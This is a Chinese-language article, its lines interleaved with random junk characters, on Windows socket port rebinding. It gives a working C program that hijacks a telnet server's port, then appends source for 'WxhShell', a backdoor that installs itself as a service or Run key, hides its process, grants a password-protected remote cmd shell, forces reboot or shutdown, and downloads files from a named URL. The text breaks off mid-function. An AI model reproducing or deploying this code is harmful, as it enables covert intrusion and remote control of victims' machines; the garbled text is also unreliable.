在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
w1q-bIU s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
U .?N
MrXmX[1- saddr.sin_family = AF_INET;
T,z7U2O cXM4+pa=% saddr.sin_addr.s_addr = htonl(INADDR_ANY);
mx`QBJ $ ?ayE bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
OW}ny >bQ'*! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
X@l>mAk 9H^$cM9C 这意味着什么?意味着可以进行如下的攻击:
MTm}qx@L 3>60_:+Zb 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
D#VUx9kugv u.!}s2wT# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
)anprhc
bT(}=j 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
cJ[gCS dk<) \C" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
W=zHD9 AQAZ+g(IK 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
v|DgRPY y8oqCe) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
zfS0M N %;bV@A9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
! @EZ &y\7pAT\ #include
dMn0nc+ #include
{yXpBS #include
!vd(WKq #include
b+b]., DWORD WINAPI ClientThread(LPVOID lpParam);
-M\ae int main()
pBo=omQV {
,x (?7ZW> WORD wVersionRequested;
-^C^3pms DWORD ret;
be^+X[ WSADATA wsaData;
. W ~&d_n BOOL val;
Z=c&</9e SOCKADDR_IN saddr;
),DLrGOl SOCKADDR_IN scaddr;
[S Jx\Os int err;
X*'i1)_h SOCKET s;
10?+6*d SOCKET sc;
Whd.AaD\ int caddsize;
Epo/}y HANDLE mt;
mKTE%lsH DWORD tid;
3MqyHOOv wVersionRequested = MAKEWORD( 2, 2 );
mbSG err = WSAStartup( wVersionRequested, &wsaData );
yRd [$p if ( err != 0 ) {
\0)v5u printf("error!WSAStartup failed!\n");
r Uau?? return -1;
utSW> }
=}F}XSvXH saddr.sin_family = AF_INET;
d8N{sT ,,}&
Q%5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
l~mC$>f eMHBY6<~= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
$U*b;'o saddr.sin_port = htons(23);
(U`<r-n\n if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
KE$I!$zO {
_bsAF^ ; printf("error!socket failed!\n");
UnVYGch return -1;
-l(G"]tRB }
i#4}xvi val = TRUE;
g
\;,NW^ //SO_REUSEADDR选项就是可以实现端口重绑定的
SN#Cnu} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
8uh^%La8b. {
,8Eg/ printf("error!setsockopt failed!\n");
fYgEiap return -1;
lE=&hba }
dbe\ YE //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
f;{K+\T //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
4:zyZu3fm //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
{TOz}=R"3h @~ 6,8nQ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ro}WBv {
T<ka4 ret=GetLastError();
K=K]R01/o printf("error!bind failed!\n");
4tA`,}ywPq return -1;
P7`RAz }
[8 I*lsS listen(s,2);
WALK@0E while(1)
'&LH9r {
}5b,u6 caddsize = sizeof(scaddr);
u2o196,Ut //接受连接请求
SJ7-lben3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+,q#'wSQG if(sc!=INVALID_SOCKET)
RKb{QAK!v {
->9waXRDz) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
R+&{lc if(mt==NULL)
NG+%H1!$_ {
}q?*13iy( printf("Thread Creat Failed!\n");
};m.8(}$) break;
q9gk:Jt }
#Fkn-/nL }
G=(ja?d CloseHandle(mt);
QHHj.ZY }
q;Rhx"x>T closesocket(s);
]^>RBegJBO WSACleanup();
\Dx5= Lh return 0;
GeFu_7u!| }
U-.A+#<IT9 DWORD WINAPI ClientThread(LPVOID lpParam)
N2uTWT> {
/A82~ SOCKET ss = (SOCKET)lpParam;
WF_24Mw SOCKET sc;
P;bOtT -- unsigned char buf[4096];
wl Nl|+ K SOCKADDR_IN saddr;
b O9PpOk+z long num;
KN<KZM DWORD val;
tq.g4X ;_ DWORD ret;
]|8*l]oc //如果是隐藏端口应用的话,可以在此处加一些判断
Sp-M:,H3H //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Yu+;vjbK- saddr.sin_family = AF_INET;
19]O; saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
*|B5,Ey saddr.sin_port = htons(23);
gR76g4|=; if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
u
OB`A-K {
3kJ7aBiR< printf("error!socket failed!\n");
lz:+y/+1 return -1;
__Egr@ }
gg?O0W{ val = 100;
GswV/V+u if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
R+<M"LriR& {
=<.h.n ret = GetLastError();
j"Z9}F@ return -1;
'>Uip+' }
?WBA:?=$58 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
9jJ:T$} {
AVO$R\1YR ret = GetLastError();
{C'9?4& return -1;
7<zI'^l }
Ksb55cp` if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
NOQSL T= {
2PViY,V| printf("error!socket connect failed!\n");
yP "D~u closesocket(sc);
mQ=nU closesocket(ss);
S]<%^W' return -1;
OV`#/QL }
`ZPV.u/ while(1)
a=r^?q'/ {
eMOnzW|h //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}&Ul(HR //如果是嗅探内容的话,可以再此处进行内容分析和记录
mNQ*YCq. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
5;[h&jH num = recv(ss,buf,4096,0);
"ZR^w5 if(num>0)
P"s7}cl send(sc,buf,num,0);
.B_a3K4'{^ else if(num==0)
YPmgR]=6 break;
(i@B+c num = recv(sc,buf,4096,0);
?UBhM,;XK if(num>0)
fctVJ{? send(ss,buf,num,0);
V_P,~! else if(num==0)
/_ RrNzqy break;
t}>"nr0 }
en8l:INX closesocket(ss);
AkX8v66:
closesocket(sc);
l.%[s6 return 0 ;
3h4'DQ.g }
>mp"=Y ]cP$aixd G]E-2 _t7 ==========================================================
7NP
Ny /rzZU} 3[ 下边附上一个代码,,WXhSHELL
@YI-@ BE,H`G #h ==========================================================
lQt* LWd[ (R^Ca7F #include "stdafx.h"
a3B^RbDP&8 m ol|E={si #include <stdio.h>
9D H}6fO #include <string.h>
#TD0)C/ #include <windows.h>
Pi'[d7o #include <winsock2.h>
Sz0CP1WB #include <winsvc.h>
(I ~r~5^ #include <urlmon.h>
u= ydX Wu
U_RE #pragma comment (lib, "Ws2_32.lib")
='vkd=`Si #pragma comment (lib, "urlmon.lib")
6#(rWW"_ ,H:{twc #define MAX_USER 100 // 最大客户端连接数
9Fh1rZD< #define BUF_SOCK 200 // sock buffer
822 jZ
sb #define KEY_BUFF 255 // 输入 buffer
*K=Yrisz S)z5=N(Xz #define REBOOT 0 // 重启
-n]E\" #define SHUTDOWN 1 // 关机
_-nIy*', = > m##JzWLr #define DEF_PORT 5000 // 监听端口
NSDls@m l3;MjNB^V #define REG_LEN 16 // 注册表键长度
PJ'.s
#define SVC_LEN 80 // NT服务名长度
8BggK6X ?vocI // 从dll定义API
9p%8VDF= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Pskg68W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
H<C+rAIb typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
g/jlG%kI} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
'/Ag3R ]?n~?dD{] // wxhshell配置信息
j[&C6l+wH struct WSCFG {
yUlYf#`H int ws_port; // 监听端口
p'YNj3&u char ws_passstr[REG_LEN]; // 口令
z]0UW\S/ int ws_autoins; // 安装标记, 1=yes 0=no
F'3-*>]P char ws_regname[REG_LEN]; // 注册表键名
vw/X char ws_svcname[REG_LEN]; // 服务名
x[1(cj char ws_svcdisp[SVC_LEN]; // 服务显示名
BZs?tbf char ws_svcdesc[SVC_LEN]; // 服务描述信息
PtT$#>hx] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
)d"s6i int ws_downexe; // 下载执行标记, 1=yes 0=no
` EgO&;1D) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
kz?m `~1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+i6XCN1= &dvL` };
K0z@gWGE mFeoeI,Jv // default Wxhshell configuration
P'p5-l UK struct WSCFG wscfg={DEF_PORT,
#hP&;HZ2>" "xuhuanlingzhe",
[cvtF(, 1,
&+-]!^2o "Wxhshell",
@DK;i_i "Wxhshell",
Ilv
_. "WxhShell Service",
>TQnCG= "Wrsky Windows CmdShell Service",
&Ez]pKjB "Please Input Your Password: ",
D$PR<>=y 1,
8VLD yX2- "
http://www.wrsky.com/wxhshell.exe",
.80L>0 "Wxhshell.exe"
7) e#b };
rulw6vTB( 4xnM7t\ // 消息定义模块
4Q5c' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
rhvTV(Bz char *msg_ws_prompt="\n\r? for help\n\r#>";
~@N0$S char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
xH/Pw?^ char *msg_ws_ext="\n\rExit.";
)1 =|\ char *msg_ws_end="\n\rQuit.";
#vBS7ba char *msg_ws_boot="\n\rReboot...";
.m
\y6 char *msg_ws_poff="\n\rShutdown...";
e+7x &-+ char *msg_ws_down="\n\rSave to ";
{Wh7>*p{3 7(1UXtT char *msg_ws_err="\n\rErr!";
Q2HULz{ char *msg_ws_ok="\n\rOK!";
wC4:OJ[d &W:R#/| char ExeFile[MAX_PATH];
;,Q6AS! int nUser = 0;
/;\{zA$uC= HANDLE handles[MAX_USER];
d@0& int OsIsNt;
.~yz1^ c [sweN]b6F SERVICE_STATUS serviceStatus;
*d;D~"E<@ SERVICE_STATUS_HANDLE hServiceStatusHandle;
}~3 %KHT v|K<3@J // 函数声明
2[Q/|D}}| int Install(void);
KMZEUmY1R1 int Uninstall(void);
$jtXNE? int DownloadFile(char *sURL, SOCKET wsh);
Gp5=cV'k int Boot(int flag);
%9P)Okq void HideProc(void);
268H!'!\ int GetOsVer(void);
7d"gRM; int Wxhshell(SOCKET wsl);
cri.kr9Y void TalkWithClient(void *cs);
s
u)AIvF{ int CmdShell(SOCKET sock);
}ikJa int StartFromService(void);
hY-;Vh0J int StartWxhshell(LPSTR lpCmdLine);
N>'|fNx] LAfv1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
T{Rhn V1 VOID WINAPI NTServiceHandler( DWORD fdwControl );
o6~9.~_e dLIZ)16& // 数据结构和表定义
] f~mR_E SERVICE_TABLE_ENTRY DispatchTable[] =
_aLml9f
W {
=Zc
Vywz;+ {wscfg.ws_svcname, NTServiceMain},
QwL'5ws{q {NULL, NULL}
)i{B:w\ ^ };
35X4]
t >7^i>si // 自我安装
|)\{Rufb int Install(void)
4_B1qN
{
9Di@r!Db char svExeFile[MAX_PATH];
&*r'Sx)V HKEY key;
b&~s}IX strcpy(svExeFile,ExeFile);
M,j3 z# h,WF'X+ // 如果是win9x系统,修改注册表设为自启动
sHi *\ if(!OsIsNt) {
`OWw<6`k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
m6D]
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}FoO RegCloseKey(key);
/>E:}1}{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
W u9))Ir RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Hjtn*^fo^ RegCloseKey(key);
!YCus;B~ return 0;
@3@oaa/v }
:Kt'Fm,s? }
95%,
8t }
aE'nW@YL. else {
#0wH.\79 %Yi^{ZrM // 如果是NT以上系统,安装为系统服务
Q+]9Glz9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
/o)o7$6Q if (schSCManager!=0)
fX[6
{ {
lImg+r T{ SC_HANDLE schService = CreateService
"2~%-;c (
6s$jt-bH schSCManager,
3]u[NR wscfg.ws_svcname,
<h7FS90S wscfg.ws_svcdisp,
b\^q9fy SERVICE_ALL_ACCESS,
_~_E(rTn SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
`[*n UdG SERVICE_AUTO_START,
KL}o%wfLy SERVICE_ERROR_NORMAL,
Xzp!X({ svExeFile,
vuCl(/P` NULL,
Zg#VZg1
2 NULL,
5/>W(,5} NULL,
PF4"J^V NULL,
0nbQKoF NULL
*>,CG:`D );
hn@T ]k if (schService!=0)
@&G< Np` {
ZC\&n4~7 CloseServiceHandle(schService);
k-uwK-B}v+ CloseServiceHandle(schSCManager);
}&h*bim strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
o :tz_5 strcat(svExeFile,wscfg.ws_svcname);
M((]> *g if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
9gLUM$Kd RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
h*JzJ0X RegCloseKey(key);
Ct)l0J\XH return 0;
E3a^)S{ }
609_ZW;) }
5lc%GJybV CloseServiceHandle(schSCManager);
FNyr0!t, }
6mH --!j }
+"Ui@^ XW*,Lo5>H\ return 1;
q0l=S+0 }
aN/0'V|&ym 'l| e}eti> // 自我卸载
dmkd.aP4 int Uninstall(void)
Zoi\r {
l1h;ng6 HKEY key;
E
=7m@"0 I|#1u7X%] if(!OsIsNt) {
AKbrXKx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
M#PutrH RegDeleteValue(key,wscfg.ws_regname);
|Qe#[Q7 RegCloseKey(key);
[z^db0PU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
v,] &[` RegDeleteValue(key,wscfg.ws_regname);
AUk,sCxd RegCloseKey(key);
3i c6!T#t" return 0;
EGKj1_ml }
2unaK<1s }
MzY~-74aF }
.-Xp]>f, else {
HaUfTQ8 d
Xiv8B1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
xp4w9.X5( if (schSCManager!=0)
>O:31Uk {
y[W<vb+F SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5:o$]LkOWC if (schService!=0)
d? Old {
q*^F"D:?k if(DeleteService(schService)!=0) {
4%3R}-'mh CloseServiceHandle(schService);
[9:'v@Ph CloseServiceHandle(schSCManager);
\VTNXEw*G return 0;
Q--VZqn }
9EE},D CloseServiceHandle(schService);
P9\!JH! }
Y}/e"mp CloseServiceHandle(schSCManager);
mF?GQls` }
-666|pA }
*/|Vyp- ygvX}q return 1;
l^ @!,Z }
Ev R6^n/ @"\j]ZEnY // 从指定url下载文件
`Z}7G@ol int DownloadFile(char *sURL, SOCKET wsh)
pnvHh0ck_ {
QX'EMyK$ HRESULT hr;
4a&*?=GG char seps[]= "/";
TaZw_)4c char *token;
XYOPX>$T char *file;
qJQ!e char myURL[MAX_PATH];
BDeX5/`U# char myFILE[MAX_PATH];
#s!q(Rc `o.DuvQ
E strcpy(myURL,sURL);
\1AtBc& token=strtok(myURL,seps);
epWO}@
b a while(token!=NULL)
x*EzX4$x {
_msV3JBr file=token;
oj6b33z token=strtok(NULL,seps);
FuiEy=+ }
Q
UQ"2oC scffWqEo GetCurrentDirectory(MAX_PATH,myFILE);
4TBK:Vm5 strcat(myFILE, "\\");
{G+pI2^ strcat(myFILE, file);
O%g%*9 send(wsh,myFILE,strlen(myFILE),0);
X/
\5j
send(wsh,"...",3,0);
g `)5g5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
lE8M.ho\ if(hr==S_OK)
0{8^)apII return 0;
AF=9KWqf
else
\G3P[E[ return 1;
j=%^CRum Hyw T }
n>_EEw2/ :N826_q // 系统电源模块
b;N[_2 int Boot(int flag)
M<A*{@4$w& {
_::q
S! HANDLE hToken;
rc*iL TOKEN_PRIVILEGES tkp;
1|?8g2Vf h "7:&=e if(OsIsNt) {
PJ=N.xf} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
N(%%bHi#V LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ii.L]#3y tkp.PrivilegeCount = 1;
bN,>,hj tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
aAlES< r AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
6N%fJ if(flag==REBOOT) {
C)7T'[ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
+B
4&$z return 0;
$#cZJ@;] }
&
*^FBJEa. else {
]vyu! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
>t[beRcR6 return 0;
C+*qU }
];-DqK' }
qfO=_z ES else {
^1a/)Be{_ if(flag==REBOOT) {
PY4RwN if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
OX"^a$ return 0;
vZgV/?'z }
^V
DJGBk else {
*Cdw"n if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
,&DK*LT8U return 0;
LP{{PT.&X }
aUdbN&G }
K+0&~XU _f~(g1sE return 1;
j.3#rxq }
7j>NUx=j3 ?e`4
sf_~ // win9x进程隐藏模块
-+'fn$ void HideProc(void)
d},IQ,Az:Z {
lZY0A#
hPCt- HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
KjrUTG0oA if ( hKernel != NULL )
~wMdk9RQ {
Bs@!S? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
*4i)aj ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
O8;`6r FreeLibrary(hKernel);
L|y4u;-Q }
F{:ZHCm pjC2jlwm* return;
b7
pD#v }
X5@SLkJ-` dQ6n[$Q@N // 获取操作系统版本
m;=wQYFr{I int GetOsVer(void)
Mp *S +Plp {
IL:d`Kbqf OSVERSIONINFO winfo;
xiu?BP?V winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
b`NXe7A GetVersionEx(&winfo);
kOe%w-_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
ZZkxEq+D return 1;
z (N3oBW else
QT1(= wK3 return 0;
Oz\mIVC# }
6GxQ< 9Tgl/}q) // 客户端句柄模块
[m9Pt]j@
int Wxhshell(SOCKET wsl)
]L'FYOfrpx {
U({20 SOCKET wsh;
H-?wEMi)*u struct sockaddr_in client;
h'i8o>7 DWORD myID;
W\(u1>lj +3HukoR( while(nUser<MAX_USER)
4?#0fK {
?[$=5? int nSize=sizeof(client);
BrW1:2w
>\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
;2o+|U@ if(wsh==INVALID_SOCKET) return 1;
pK)*{fC$` p^2"g~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
i\P?Y(-{ if(handles[nUser]==0)
- nWs@\ closesocket(wsh);
:NB,Dz+i else
8+m[ %5lu nUser++;
Qfhhceb6#J }
U=?hT&w\S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
UbBo#(TZ) GVFR^pzO return 0;
)$V &Nf
}
vepZod}D .g CC$ // 关闭 socket
x^UE4$oo void CloseIt(SOCKET wsh)
E$$pO.\ {
4T*RJ3Fz! closesocket(wsh);
y-UutI& nUser--;
r]XXN2[jO ExitThread(0);
5e!YYt> }
@ljvTgZ(X %ZNp // 客户端请求句柄
8
S'g% void TalkWithClient(void *cs)
J 4$^Hr {
!J34yro+s cJEOwAN SOCKET wsh=(SOCKET)cs;
TBfX1v|Z) char pwd[SVC_LEN];
O"otzla char cmd[KEY_BUFF];
5z ebH char chr[1];
%5X}4k!p int i,j;
!i0jk,[B= /Q7cQ2[EU while (nUser < MAX_USER) {
:!omog ,/.U'{ if(wscfg.ws_passstr) {
jTNfGu0x if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
F&{RP> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
o<`)cb } //ZeroMemory(pwd,KEY_BUFF);
Sz\"*W;> i=0;
^wL
n while(i<SVC_LEN) {
)4d)G5{ t6.hg3Y // 设置超时
m){.{Vn] fd_set FdRead;
\bt+46y@] struct timeval TimeOut;
KRS_6G],{ FD_ZERO(&FdRead);
],*^wQ FD_SET(wsh,&FdRead);
"K EB0U TimeOut.tv_sec=8;
;(). TimeOut.tv_usec=0;
f%LzWXA int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
FHNK%Ko if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
zw{cli&S #1MEmt if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
,2F4S5F~rC pwd
=chr[0]; s*R\!L
if(chr[0]==0xd || chr[0]==0xa) { JPS7L} Kv
pwd=0; M Cam c
break; .xtjB8gc
} B/IPG~aMEZ
i++; !P7##ho0
} o C]tEXJ
c65_E<5Z
// 如果是非法用户,关闭 socket S-
Mh0o"
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xO2S|DH{
} Mis t,H7
2#4_/5(j*
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )oO cV%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @MfuV4*
O?uT'$GT
while(1) { )z0qKb\
/Kmzi9j+
ZeroMemory(cmd,KEY_BUFF); (wmMHo|
X\SZ Q[gN
// 自动支持客户端 telnet标准 !GkwbHr+p
j=0; <!.'"*2
while(j<KEY_BUFF) { -b>"2B?
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8uyUvSB
cmd[j]=chr[0]; I)~&6@Jn
if(chr[0]==0xa || chr[0]==0xd) { e&dE>m
cmd[j]=0; }i1p&EN^
break; [/#c9RA
} t<O5_}R%d
j++; w=I'
CMRt
} ;!4Bw"Gg
^'S0A=1
// 下载文件 Lm<"W_
if(strstr(cmd,"http://")) { ||y5XXs
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9X8{"J
if(DownloadFile(cmd,wsh)) )u7*YlU\I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wxl^f?I`:
else _A*5BAB:h(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jB]tq2i
} :sRV]!Iw
else { W1X\!Y
G| pZ
switch(cmd[0]) { }$W4aG*[
`d#l o
// 帮助 F]~ rA! g1
case '?': { x^aqnKoJ%\
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uX{n#i,~L
break; =z'w-ARy
} DSY:aD!
// 安装 U^4
/rbQ
case 'i': { SCl$+9E
if(Install()) ./@!k[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #5GIO
else (: IUg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >_QC_UX>4i
break; qu[ ~#
} Gx?p,Fj
// 卸载 q/xMM`{
case 'r': { RQI? \?o
if(Uninstall()) .5I!h !
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 16MRLDhnD
else *loPwV8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G#/}_P
break; $ WA Fr
} bkkhx,Oi[G
// 显示 wxhshell 所在路径 |w2H5f{fR
case 'p': { gnmKh>0@6o
char svExeFile[MAX_PATH]; J=4R" _yo
strcpy(svExeFile,"\n\r"); kVs'>H@FY
strcat(svExeFile,ExeFile); =>Y b~r71
send(wsh,svExeFile,strlen(svExeFile),0); &LE,.Q34
break; Zam.g>{]
} ^yH!IRRAq
// 重启 s z
case 'b': { 2wE?O^J
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2Yt#%bj7^
if(Boot(REBOOT)) 5EDN 9?a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o{yEF1,c\
else { \1'3--n
closesocket(wsh); (OT /o&cQ
ExitThread(0); 3*$A;%q
} @'U9*:}U
break; >TUs~
} c6sGjZdR
// 关机 zyTP|SXk
case 'd': { >*H>'O4
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2't<Hl1qN
if(Boot(SHUTDOWN)) cZKK\hf<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |ofegO}W7
else { -x2/y:q `
closesocket(wsh); 5k.NZ
ExitThread(0); eRQ}`DjTk
} 7
Xe|P1@)
break; }f np}L
} kf+]bV
// 获取shell MZf$8R
case 's': { 6Y6DkFdvrZ
CmdShell(wsh); {g}!M^|
closesocket(wsh); 6V\YYrUz
ExitThread(0); S (](C
break; $5y%\A
} 24"Trg\WK[
// 退出
O[f* !
case 'x': { Ed ,`1+
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zu&5[XL
CloseIt(wsh); (Da/$S.
break; / <WB%O
} ~\`lbGJ7?
// 离开 !s#25}9zX5
case 'q': { qd"1KzQWO
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ar4E $\W
closesocket(wsh); VTySKY+
WSACleanup(); qEr2Y/:i"
exit(1); +9G
GC
break; ?F20\D\V
} aO('X3?
} ZB GLwe
} Xn-GSW3{
)ALPMmlRs
// 提示信息 M>dP
1
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I&]d6,
} HXhz |s0
} 'Ca6cm3Tg
\bqIe}3V7
return; ,<F =\G_f
} $A"kHS7T
lxy_O0n
// shell模块句柄 |t*(]U2O0
int CmdShell(SOCKET sock) t
m?[0@<s
{ y:(OZ%g
STARTUPINFO si; ;vvO#3DWM
ZeroMemory(&si,sizeof(si)); pC
l[DE
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k@U8K(:x
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F,Q\_H##x4
PROCESS_INFORMATION ProcessInfo; Vrn. #d
char cmdline[]="cmd"; PVHJIB
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *LpEH,J
return 0; >_P7 k5Y^
} D-e0q)RSU
G%w.Z< qy
// 自身启动模式 )orVI5ti
int StartFromService(void) k\$))<3
{ ,d n9tY3
typedef struct Vy0s%k
{ M*FUtu
DWORD ExitStatus; P:h;"
DWORD PebBaseAddress; J$
DWORD AffinityMask; `<!Nk^2ap
DWORD BasePriority; j_*$Avy
ULONG UniqueProcessId; =r"8J5[f
